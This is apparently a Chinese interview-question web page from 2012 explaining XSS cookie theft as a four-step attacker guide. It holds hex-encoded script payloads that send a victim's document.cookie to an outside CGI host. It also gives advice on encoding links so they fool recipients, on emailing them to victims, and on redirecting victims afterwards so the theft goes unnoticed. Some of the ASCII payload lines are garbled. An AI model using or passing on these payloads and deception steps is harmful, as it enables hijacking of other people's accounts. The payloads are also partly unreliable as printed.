能否解释一下XSS cookie盗窃是什么意思


Posted in 面试题 onJune 02, 2012
根据作为攻击对象的Web程序,下面某些变量和插入位置可能需要进行调整。要注意这只是攻击方法的一个例子。在这个例子中,我们将利用脚本“a.php”中的 “viriable”变量中的跨站脚本漏洞,通过正常请求进行攻击。这是跨站脚本攻击最常见的形式。
第一步: 锁定目标

当你找到某个Web程序存在XSS漏洞之后,检查一下它是否设置了cookie。如果在该网站的任何地方设置了cookie,那么就可以从用户那里盗取它。
第二步: 测试

不同的攻击方式将产生不同的XSS漏洞,所以应适当进行测试以使得输出结果看起来像是正常的。某些恶意脚本插入之后会破坏输出的页面。(为欺骗用户,输出结果非常重要,因此攻击者有必要调整攻击代码使输出看起来正常。)

下一步你需要在链接至包含XSS漏洞的页面的URL中插入 Javascript(或其他客户端脚本)。下面列出了一些经常用于测试XSS漏洞的链接。当用户点击这些链接时,用户的cookie奖被发送到 www.cgisecurity.com/cgi-bin/cookie.cgi 并被显示。如果你看到显示结果中包含了cookie信息,说明可能可以劫持该用户的账户。

盗取Cookie的Javascript示例。使用方法如下。

ASCII用法

http://host/a.php?variable=”>

十六进制用法

http://host/a.php?variable=%22%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f

%63%61%74%69%6f%6e%3d%27%68%74%74%70%3a%2f%2f%77%77%77%2e%63%67
%69%73%65%63%75%72%69%74%79 %2e%63%6f%6d%2f%63%67%69%2d%62%69%6e%2f%63%6f
%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63% 75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e

注意: 每种用法都先写为ASCII,再写成十六进制以便复制粘贴。

1. “>

HEX %22%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e
%6c%6f%63%61%74%69%6f%6e%3d%27 %68%74%74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65
%63%75%72%69%74%79%2e%63%6f%6d%2f%63%67%69 %2d%62%69%6e%2f
%63%6f%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f %6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e

2.

HEX %3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f
%63%61%74%69%6f%6e%3d%27%68%74%74 %70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75%72
%69%74%79%2e%63%6f%6d%2f%63%67%69%2d%62%69%6e %2f%63%6f%6f%6b
%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c %2f%73%63%72%69%70%74%3e

3. >

HEX %3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c
%6f%63%61%74%69%6f%6e%3d%27%68%74 %74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75
%72%69%74%79%2e%63%6f%6d%2f%63%67%69%2d%62%69 %6e%2f%63%6f%6f
%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65 %3c%2f%73%63%72%69%70%74%3e

第三步: 执行XSS

将做好的URL通过电子邮件或其他方式发送出去。注意如果你直接将URL发送给其他人(通过电子邮件、即时通讯软件或其他方式),你应当将其进行十六进制编码,因为这些URL一眼便可看出包含恶意代码,但经过十六进制编码之后就可以欺骗大部分人。
第四步: 处理收集到的信息

一旦用户点击了你的URL,相应数据就会被发送到你的CGI脚本中。这样你就获得了 cookie信息,然后你可以利用Websleuth之类的工具来检查是否能盗取那个账户。

在上面的例子中,我们仅仅将用户带到了 cookie.cgi页面上。如果你有时间,你可以在CGI中将用户重定向到原来的页面上,即可在用户不知不觉之中盗取信息。

某些电子邮件程序在打开附件时会自动执行附件中的Javascript代码。即使像Hotmail这样的大型网站也是如此,不过它对附件内容作了许多过滤以避免cookie被盗。

Tags in this post...

面试题 相关文章推荐
Set里的元素是不能重复的,那么用什么方法来区分重复与否呢? 是用==还是equals()? 它们有何区别?用contains来区分是否有重复的对象。还是都不用
Jul 30 面试题
C++如何引用一个已经定义过的全局变量
Aug 25 面试题
定义一结构体变量,用其表示点坐标,并输入两点坐标,求两点之间的距离
Aug 17 面试题
北京-环亚运商测试题.net程序员初步测试题
May 28 面试题
.NET面试题:什么是反射
Sep 30 面试题
什么是Linux虚拟文件系统VFS
Aug 25 面试题
Linux不知道文件后缀名怎么判断文件类型
Aug 21 面试题
中科软笔试题和面试题
Oct 07 面试题
如何整合JQuery和Prototype
Jan 31 面试题
Java基础类库面试题
Sep 04 面试题
Servlet的生命周期
Aug 25 面试题
servlet面试题
Aug 20 面试题
什么是跨站脚本攻击
Dec 11 #面试题
金士达面试非笔试
Mar 14 #面试题
傲盾软件面试题
Aug 17 #面试题
网络安全类面试题
Aug 01 #面试题
如何保障Web服务器安全
May 05 #面试题
介绍一下如何利用路径遍历进行攻击及如何防范
Jan 19 #面试题
SQL注入攻击的种类有哪些
Dec 30 #面试题
You might like
PHP获取当前所在目录位置的方法
2014/11/26 PHP
PHP准确取得服务器IP地址的方法
2015/06/02 PHP
Symfony2框架学习笔记之表单用法详解
2016/03/18 PHP
php中实现字符串翻转的方法
2017/02/22 PHP
php简单生成一组与多组随机字符串的方法
2017/05/09 PHP
web 页面分页打印的实现
2009/06/22 Javascript
JS冒泡事件的快速解决方法
2013/12/16 Javascript
location.href用法总结(最主要的)
2013/12/27 Javascript
浅析IE10兼容性问题(frameset的cols属性)
2014/01/03 Javascript
node.js中的querystring.escape方法使用说明
2014/12/10 Javascript
JS实现获取键盘按下的按键并显示在页面上的方法
2015/11/04 Javascript
详解js私有作用域中创建特权方法
2016/01/25 Javascript
JavaScript判断数组是否存在key的简单实例
2016/08/03 Javascript
AngularJS的ng Http Request与response格式转换方法
2016/11/07 Javascript
angularjs实现的前端分页控件示例
2017/02/10 Javascript
JavaScript继承与多继承实例分析
2018/05/26 Javascript
Vue中 v-if/v-show/插值表达式导致闪现的原因及解决办法
2018/10/12 Javascript
nodejs图片处理工具gm用法小结
2018/12/12 NodeJs
使用TS来编写express服务器的方法步骤
2020/10/29 Javascript
原生JavaScript实现进度条
2021/02/19 Javascript
Python调用ctypes使用C函数printf的方法
2017/08/23 Python
使用k8s部署Django项目的方法步骤
2019/01/14 Python
flask框架单元测试原理与用法实例分析
2019/07/23 Python
djano一对一、多对多、分页实例代码
2019/08/16 Python
pytorch forward两个参数实例
2020/01/17 Python
python实现引用其他路径包里面的模块
2020/03/09 Python
python:批量统计xml中各类目标的数量案例
2020/03/10 Python
Html5 video标签视频的最佳实践
2020/02/26 HTML / CSS
Servlet都有哪些方法?主要作用是什么?
2014/03/04 面试题
回门宴答谢词
2014/01/13 职场文书
《蜗牛》教学反思
2014/02/18 职场文书
运动会闭幕词
2015/01/28 职场文书
质量负责人岗位职责
2015/02/15 职场文书
保险公司增员口号
2015/12/25 职场文书
win10+RTX3050ti+TensorFlow+cudn+cudnn配置深度学习环境的方法
2022/06/25 Servers
MySQL下载安装配置详细教程 附下载资源
2022/09/23 MySQL